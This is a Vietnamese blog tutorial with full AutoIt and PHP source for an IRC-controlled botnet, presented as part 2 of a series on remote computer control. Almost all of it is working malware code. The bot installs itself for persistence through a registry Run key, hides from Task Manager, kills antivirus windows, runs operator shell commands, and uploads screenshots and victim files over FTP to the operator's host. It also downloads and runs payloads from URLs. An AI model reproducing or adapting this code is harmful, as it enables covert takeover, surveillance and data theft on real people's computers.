Trở về
Tham gia nhóm m Autoit đ đưc hưng dn và gii đáp trc tiếp : http://fb.com/groups/autoitscript
Tin tức công nghệ  -  Thủ thuật lập trình

Friday, September 27, 2013

Chương trình điều khiển máy tính từ xa bằng Autoit (Phần 2 : Botnet IRC)


Toàn màn hìnhIn bài viết

Viết chương trình điều khiển máy tính từ xa bằng Autoit 
 Phần 2 : Botnet IRC

Đây là phần tiếp theo của bài viết về Botnet , ở phần này mình sẽ hướng dẫn viết một con Botnet hoàn chỉnh hơn và "chuyên nghiệp" hơn với khả năng chat để điều khiển trực tiếp qua kênh IRC và danh sách Bot kết nối để nhận lệnh ...








Tổng quan về IRC :

IRC (Internet Relay Chat) . IRC là một dạng liên lạc cấp tốc qua mạng Internet. Nó được thiết kế với mục đích chính là cho phép các nhóm người trong một phòng thảo luận (channel) liên lạc với nhau. Tuy nhiên, nó cũng cho phép hai người dùng liên lạc riêng nếu họ thích.

Hiện nay IRC là mạng trò chuyện trực tuyến lớn, có vài triệu kênh trên máy phục vụ trên khắp thế giới

Để kết nối vào server IRC thì các bạn cần phải có phần mềm mIRC (link down full tại đây) , chỉ cần nhập tên nick và tên phòng để có thể vào kênh chat ngay lập tức mà không cần phải tạo một tài khoản nào .

Source Code  :

UDF IRC.au3 (include)

Global $ret
Global $irc
Func _IRCConnect ($server, $port, $nick)
 Local $i=-1
 while $i=-1
 $i = TCPConnect(TCPNameToIP($server), $port)
 wend

 TCPSend($i, "NICK "  $nick  @CRLF)
 TCPSend($i, "USER "  $nick  " 0 0 "  $nick @CRLF)
 Return $i
EndFunc



Func _IRCJoinChannel ($irc, $chan)
 If $irc = -1 Then Return 0
 TCPSend($irc, "JOIN "  $chan  " " @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
EndFunc

Func _IRCSendMessage ($irc, $msg, $chan="")
 If $irc = -1 Then Return 0
 If $chan = "" Then
 TCPSend($irc, $msg  @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
 EndIf
 TCPSend($irc, "PRIVMSG "  $chan  " :"  $msg  @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
EndFunc

Func _IRCChangeMode ($irc, $mode, $chan="")
 If $irc = -1 Then Return 0
 If $chan = "" Then
 TCPSend($irc, "MODE "  $mode  @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
 EndIf
 TCPSend($irc, "MODE "  $chan  " "  $mode  @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
EndFunc

Func _IRCPing($ret)
 If $ret = "" Then Return -1
 TCPSend($irc, "PONG "  $ret  @CRLF)
 If @error Then
 MsgBox(1, "IRC.au3", "Server has disconnected.")
 Return -1
 EndIf
 Return 1
EndFunc



UDF FTP.au3 (include)

Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)

    Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
    If @error OR $ai_InternetOpen[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetOpen[0]

EndFunc ;==> _FTPOpen()
Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0)

    Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
    If @error OR $ai_InternetConnect[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetConnect[0]

EndFunc ;==> _FTPConnect()

Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)

    Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
    If @error OR $ai_FTPPutFile[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_FTPPutFile[0]

EndFunc ;==> _FTPPutFile()


Func _FTPGetFile($l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_Flags = 2, $l_Fail = -1, $l_Attributes = 0, $l_Context = 0)

   Local $ai_FTPGetFile = DllCall('wininet.dll', 'int', 'FtpGetFile', 'long', $l_FTPSession, 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_Fail, 'long', $l_Attributes, 'long', $l_Flags, 'long', $l_Context)
   If @error OR $ai_FTPGetFile[0] = 0 Then
       SetError(-1)
       Return 0
   EndIf

   Return $ai_FTPGetFile[0]

EndFunc;==> _FTPGetFile()

Func _FTPClose($l_InternetSession)

    Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession)
    If @error OR $ai_InternetCloseHandle[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_InternetCloseHandle[0]

EndFunc ;==> _FTPClose()

Code zz.php (lưu thông tin IRC server , tên account , tên phòng và in ra IP bot)

<?php

$ip = $_SERVER["REMOTE_ADDR"]

?>

[Information] Server=irc.datviet.net Port=6667 Channel=#room Version=1
user=yourname update=http://raito.co.cc/botnet.exe
past=C:/WINDOWS/system32/system.exe ip=<? echo"$ip"; ?>

Server : IRC server
Port : tùy thuộc vào IRC server (thường là 6667)
Channel : tên phòng
user : tên đăng nhập
update : đường dẫn tới bot trên host để cập nhật sau này
past : đường dẫn tới bot trên máy tính victim


Code BotnetIRC.au3  :

;_FTPPutFile , While wend , register before ...
#include <IRC.au3>
#include <INet.au3>
#include <Constants.au3>
#include <Process.au3>
#include <String.au3>
#include <IE.au3>
#include <FTP.au3>
#include <ScreenCapture.au3>
#include <File.au3>
#include <Array.au3>
Global $version = "1.0"

FileDelete(@WindowsDir & "\server.txt")
InetGet("http://host của bạn/zz.php", @WindowsDir & "\server.txt", 0, 0)
If @error Then
    FileOpen(@WindowsDir & "\server.txt", 8)
    FileClose(@WindowsDir & "\server.txt")
EndIf
Sleep(1000)
$file = FileOpen(@WindowsDir & "\server.txt", 0)
$information = StringSplit(FileRead($file), " ")
FileClose($file)

Global $server = StringTrimLeft($information[2], 7)
Global $port = StringTrimLeft($information[3], 5)
Global $nick = @ComputerName & "-" & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1))
Global $channel = StringTrimLeft($information[4], 8)
Global $new_version = StringTrimLeft($information[5], 8)
Global $use = StringTrimLeft($information[6], 5)
Global $link = StringTrimLeft($information[7], 7)
Global $past = StringTrimLeft($information[8], 5)
Global $ip = StringTrimLeft($information[9], 3)
Global $openFTP = False
Global $serftp = "" ; FTP server cần cho hàm upload file
Global $taikhoan = "" ; FTP username
Global $passftp = "" ; FTP password
Global $dir = "" ; đường dẫn trên host (htdocs,public_html ... tùy host)
Global $command
Global $DDir = "C:/"
TCPStartup()
Global $sock = _IRCConnect($server, $port, $nick); Ket noi toi IRC va` nhap nick cua bot
Global $LASTCMD = ""
Global $login = False
Global $username = ""

While 1
    _dangky() ; đưa chương trình vào startup để khởi động cùng windows
    Hide() ; ẩn chương trình trong task manager
    Bot() ; hàm chính gọi lệnh cho bot thực hiện
    Hide()
WEnd

Func Bot()
    Local $run
    Local $strtmp
    $recv = TCPRecv($sock, 8192)
    If @error Then $sock = _IRCConnect($server, $port, $nick)
    Local $sData = StringSplit($recv, @CRLF)
    For $i = 1 To $sData[0] Step 1
        Local $sTemp = StringSplit($sData[$i], " ")
        If $sTemp[1] = "" Then ContinueLoop
        If $sTemp[1] = "PING" Then TCPSend($sock, "PONG " & $sTemp[2] & @CRLF)
        If $sTemp[0] <= 2 Then ContinueLoop

        Switch $sTemp[2]
            Case "PRIVMSG"
                Global $user = StringMid($sTemp[1], 2, StringInStr($sTemp[1], "!") - 2)
                Global $3 = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2) + 1)
                Global $msg = StringSplit($3, " ")

                Switch $3
                    ;==============================================================
                    ; Gõ Login 123456 để bắt đầu điều khiển bot (có thể double click vào từng bot để điều khiển riêng)
                    Case $msg[1] = "Login"        ; đăng nhập vào kênh IRC bằng tên người dùng và tên phòng đã đặt trong zz.php
                                  $pass = $Msg[2]
                                 if $pass = "123456" Then ; đặt pass cho bot
                                    _IRCSendMessage($sock,"Chao Anh Huy Handsome, Chuc Anh Mot Ngay Tot Lanh !", $Channel)
                                    $login = True

                                    Else
                                            _IRCSendMessage($sock,"Sai Pass Rui^^!", $Channel)
                        EndIf
                        ;==============================================================
                        ;Gọi các lệnh trong command prompt
                    Case $msg[1] = "cmd"
                        If $login = True And $user = $use Then
                            If $msg[0] = "1" Then
                                _IRCSendMessage($sock, "Loi Rui Anh Huy @_@", $channel)

                            ElseIf $msg[0] = "2" Then
                                _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                            Else
                                If $msg[2] = "cd" Then
                                    $DDir = $msg[3]
                                ElseIf $msg[2] = "cd\" Then
                                    $DDir = "C:/"
                                EndIf

                                $dir = $msg[2]
                                $len = StringLen($dir)
                                $command = StringTrimLeft($3, 4 + $len)
                                Local $foo = Run(@ComSpec & " /c " & $command, $dir, @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)
                                Local $line
                                $file1 = FileOpen("system.txt", 2 + 8 + 128)
                                While 1
                                    $line = StdoutRead($foo)
                                    If @error Then ExitLoop
                                    FileWrite($file1, $line)
                                WEnd
                                FileClose($file1)
                                $file = FileOpen("system.txt", 0)
                                While 1
                                    $line1 = FileReadLine($file)
                                    If @error Then ExitLoop
                                    _IRCSendMessage($sock, $line1, $channel)
                                WEnd
                            EndIf

                            FileClose($file)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Mở FTP để upload file
                    Case $msg[1] = "openFTP"
                        If $login = True And $user = $use Then
                            $openFTP = True
                            _IRCSendMessage($sock, "Đã mở Socket FTP ^^!", $channel)

                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Chụp ảnh màn hình và úp lên host bằng giao thức FTP đã mở
                    Case $msg[1] = "printscreen"
                        If $login = True And $user = $use And $openFTP = True Then
                            If $msg[0] = "1" Then
                                _IRCSendMessage($sock, 'Nhập nơi lưu trữ file trên host ( Cú pháp : printscreen raito.co.cc/htdocs/*.jpg )', $channel)
                            Else
                                _ScreenCapture_Capture("C:\windows\capture.jpg", 0, 0, -1, -1)
                                _IRCSendMessage($sock, "Đã chụp xong màn hình victim !", $channel)
                                Sleep(100)
                                $Open = _FTPOpen('MyFTP Control')
                                $Conn = _FTPConnect($Open, $serftp, $taikhoan, $passftp)
                                $Ftpp = _FtpPutFile($Conn, 'C:/windows/capture.jpg', '' & $dir & $msg[2])
                                $Ftpc = _FTPClose($Open)
                                _IRCSendMessage($sock, "Đã upload image lên host http://raito.co.cc !", $channel)
                                FileDelete("C:\windows\capture.jpg")

                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Hiện thông tin bot đã connect
                    Case $msg[1] = "info"
                        If $login = True And $user = $use Then
                            _IRCSendMessage($sock, "Computer Name: " & @ComputerName & " - OS: " & @OSVersion & " - User: " & @UserName & " - IP: " & $ip, $channel)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                    Case $msg[1] = "version"
                        If $login = True And $user = $use Then
                            _IRCSendMessage($sock, "version" & $version, $channel)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ; ================================================
                        ; Tương tự cmd
                    Case $msg[1] = "rundos"
                        If $login = True And $user = $use Then
                            If $msg[0] = "1" Then
                                _IRCSendMessage($sock, "Vui lòng nhập lệnh trong dos ( Cú pháp : rundos command ) ", $channel)
                            Else
                                $lenh = _RunDOS(StringTrimLeft($3, 7)) ; Chay lenh trong DOS
                                If $lenh <> 0 Then
                                    _IRCSendMessage($sock, "OK! Rundos.....", $channel)
                                Else
                                    _IRCSendMessage($sock, "Vui lòng nhập lệnh trong dos ( Cú pháp : rundos command ) ", $channel)
                                EndIf
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Update con bot với đường dẫn đã thiết lập trong zz.php
                    Case $msg[1] = "update"
                        If $login = True And $user = $use Then
                            InetGet($link, $past, 1, 0)
                            Sleep(10000)
                            Run($past, "", @SW_HIDE)
                            Sleep(5000)
                            _IRCSendMessage($sock, "Đã update phiên bản mới nhất cho Botnet !", $channel)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Download file về máy victim và thực thi
                    Case $msg[1] = "download"
                        If $login = True And $user = $use Then
                            If $msg[0] = "1" Then
                                _IRCSendMessage($sock, "Vui lòng nhập đầy đủ câu lệnh ( Cú pháp : download sourcedir*.* destdir*.* )", $channel)

                            ElseIf $msg[0] = "2" Then
                                _IRCSendMessage($sock, "Vui lòng nhập đầy đủ câu lệnh ( Cú pháp : download sourcedir*.* destdir*.* )", $channel)
                            Else
                                _IRCSendMessage($sock, "OK! Downloaded ...", $channel)
                                $lenh = InetGet($msg[2], $msg[3], 1, 0)
                                $size = FileGetSize($msg[3])
                                Sleep(100)
                                Run($msg[3], "", @SW_HIDE)
                                If $lenh = 1 Then
                                    _IRCSendMessage($sock, "Done! Đã dowload xong , đang mở file ... - Size : " & $size & " Bytes", $channel)
                                Else
                                    _IRCSendMessage($sock, "Không mở được định dạng file này ( yêu cầu *.exe )", $channel)
                                EndIf
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Hủy bỏ lệnh download
                    Case $msg[1] = "abort"
                        If $login = True And $user = $use Then
                            $lenh = InetGet("abort") ; Huy bo lenh download
                            If $lenh = 1 Then
                                _IRCSendMessage($sock, "Stoped download !", $channel)
                            Else
                                _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Hiện danh sách các process đang chạy trên máy victim
                    Case $msg[1] = "processlist"
                        If $login = True And $user = $use Then
                            $list = ProcessList()
                            For $i = 1 To $list[0][0]
                                _IRCSendMessage($sock, $list[$i][0] & " " & $list[$i][1], $channel)
                                Hide()
                            Next
                            _IRCSendMessage($sock, "Xong roi anh Huy ^^", $channel)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Hiện danh sách ổ cứng trên máy victim
                    Case $msg[1] = "drivelist"
                        If $login = True And $user = $use Then
                            $drv = DriveGetDrive("ALL")
                            If Not @error Then
                                _IRCSendMessage($sock, "Tim thay " & $drv[0] & " drives", $channel)
                                For $i = 1 To $drv[0]
                                    _IRCSendMessage($sock, "Drive " & $drv[$i], $channel)
                                Next
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf

                        ;==============================================================
                        ; Lấy file từ máy victim và úp lên server
                    Case $msg[1] = "getfile"
                        If $login = True And $user = $use And $openFTP = True Then
                            If $msg[0] = "1" Or $msg[0] = "2" Then
                                _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                            Else
                                $len1 = StringLen($msg[2])
                                $target = StringTrimLeft($3, 9 + $len1)
                                Sleep(100)
                                _IRCSendMessage($sock, "Dang Upload ... ^^!", $channel)
                                $Open = _FTPOpen('MyFTP Control')
                                $Conn = _FTPConnect($Open, $serftp, $taikhoan, $passftp)
                                $Ftpp = _FtpPutFile($Conn, $target, '' & $dir & $msg[2])
                                $Ftpc = _FTPClose($Open)
                                _IRCSendMessage($sock, "Da Upload Xong ^^!", $channel)
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; ĐÓng một cửa sổ hoặc một chương trình bất kỳ bằng cách kill process
                    Case $msg[1] = "kill"
                        If $login = True And $user = $use Then
                            ProcessClose($msg[2])
                            If Not ProcessExists($msg[2]) Then
                                _IRCSendMessage($sock, "Process Khong Ton Tai ^^!", $channel)
                            Else

                                _IRCSendMessage($sock, $msg[2] & " Has been Close ^^ !", $channel)
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Mở một trang web bằng trình duyệt IE
                    Case $msg[1] = "visit"
                        If $login = True And $user = $use Then
                            If $msg[0] = "1" Or $msg[0] = "2" Then
                                _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                            Else
                                If $msg[3] = "show" Then
                                    $oIE = _IECreate($msg[2], 0, 1, 1)
                                    _IRCSendMessage($sock, "Showed window ^_^", $channel)
                                ElseIf $msg[3] = "hide" Then
                                    $oIE = _IECreate($msg[2], 0, 0, 1)
                                EndIf
                                If @error Then
                                    _IRCSendMessage($sock, "Command Error! ^_^", $channel)

                                Else
                                    _IRCSendMessage($sock, "Done!,Visit OK ^^!", $channel)
                                EndIf
                            EndIf

                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Đóng trình duyệt IE
                    Case $msg[1] = "stopvisit"
                        If $login = True And $user = $use Then
                            ProcessClose("iexplore.exe")
                            If @error Then
                                _IRCSendMessage($sock, "Command Error! ^_^", $channel)
                            Else
                                _IRCSendMessage($sock, "Done!, Stopped ^^!", $channel)
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ; ================================================
                        ; Xóa một file trên máy victim
                    Case $msg[1] = "delete"
                        If $login = True And $user = $use Then
                            If $msg[0] = "1" Then
                                _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                            Else

                                FileDelete($msg[2])
                                If @error Then
                                    _IRCSendMessage($sock, "Command Error! ^_^", $channel)
                                Else
                                    _IRCSendMessage($sock, "Done!,Deleted", $channel)
                                EndIf
                            EndIf
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Thoát khỏi trình điều khiển botnet
                    Case $msg[1] = "logout"
                        If $login = True And $user = $use Then
                            $login = False
                            $username = ""
                            _IRCSendMessage($sock, "Đã kích hoạt chế độ stand by , Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        Else
                            _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                        EndIf
                        ;==============================================================
                        ; Thực thi một file trên máy victim
                        case $msg[1] = "run"
                            If $login = true and $user = $use Then
                                If $msg[0] = "1" then
                                    _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)

                                Else
                                $taptin = StringTrimLeft($3, 4)
                                Run($taptin,"",@SW_HIDE)
                                if @error Then
                                    _IRCSendMessage($sock, "Loi Rui Anh Huy  @_@", $channel)
                                Else
                                    _IRCSendMessage($sock, "Done!", $channel)
                                EndIf

                                EndIf
                                Else
                                _IRCSendMessage($sock, "Vui lòng đăng nhập để điều khiển Botnet !", $channel)
                            EndIf
                        ;==============================================================
                       EndSwitch

            Case "266"; It is what I use as an indictator to show when its done sending you info.
                _IRCJoinChannel($sock, $channel)
                _IRCChangeMode($sock, "+i", $nick)
                _IRCChangeMode($sock, "+ps", $channel)
                _IRCChangeMode($sock, "+k ", $channel)
        EndSwitch
    Next
EndFunc   ;==>Bot
Func _dangky()
    FileCopy(@ScriptFullPath, @AppDataDir & "\cftmon.exe", 1)
    RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon")
    If @error Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon", "REG_SZ", @AppDataDir & "\cftmon.exe")
    $Open_Regedit = RegRead("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)")
    If $Open_Regedit <> 'regedit.exe' Then RegWrite("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)", "REG_SZ", "regedit.exe")
EndFunc   ;==>_dangky
Func Hide()
    $prc = ProcessList("cftmon.exe")
    If $prc[0][0] > 1 Then
        ProcessClose("cftmon.exe")
    EndIf
    FileSetAttrib(@AppDataDir & "\cftmon.exe", "+SH")
    If WinExists("[REGEXPTITLE:(?i)Configuration", "") Then WinKill("[REGEXPTITLE:(?i)Configuration]", "")
    If WinExists("[REGEXPTITLE:(?i)kav]", "") Then WinKill("[REGEXPTITLE:(?i)kav]", "")
    Dim $ProcName = "cftmon.exe", $TaskManTitle = "Windows Task Manager"
    $FindIndex = ControlListView($TaskManTitle, "", 1009, "FindItem", $ProcName)
    If $FindIndex = -1 Then
    Else
        $hwnd = ControlGetHandle($TaskManTitle, "", 1009)
        DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 0x1008, "int", $FindIndex, "int", 0)
    EndIf
EndFunc   ;==>Hide

Các bạn đọc code trong từng dòng và phân tích code để biết cách sử dụng lệnh điều khiển bot , để ý là $msg[0] trả về lỗi của lệnh ,  $msg[1] chính là lệnh được gọi , $msg[2] , $msg[3] ... tạm gọi là các tham số dòng lệnh ( tùy vào số lượng tham số mà ta có các cách gọi lênh khác nhau , sử dụng không đúng số lượng tham số sẽ phát sinh lỗi nên các bạn nhớ đọc kỹ code )

Vậy là đã xong code Botnet IRC , các bạn có thắc mắc gì thì có thể PM Y! mình hoặc comment bên dưới để hỏi thêm (nhưng chỉ được hỏi khi bạn đã học qua căn bản lập trình , còn không thì mình sẽ không giải đáp) ...

Bài sau mình sẽ hướng dẫn cách đăng nhập và tự động thao tác trên một trang web ... see ya !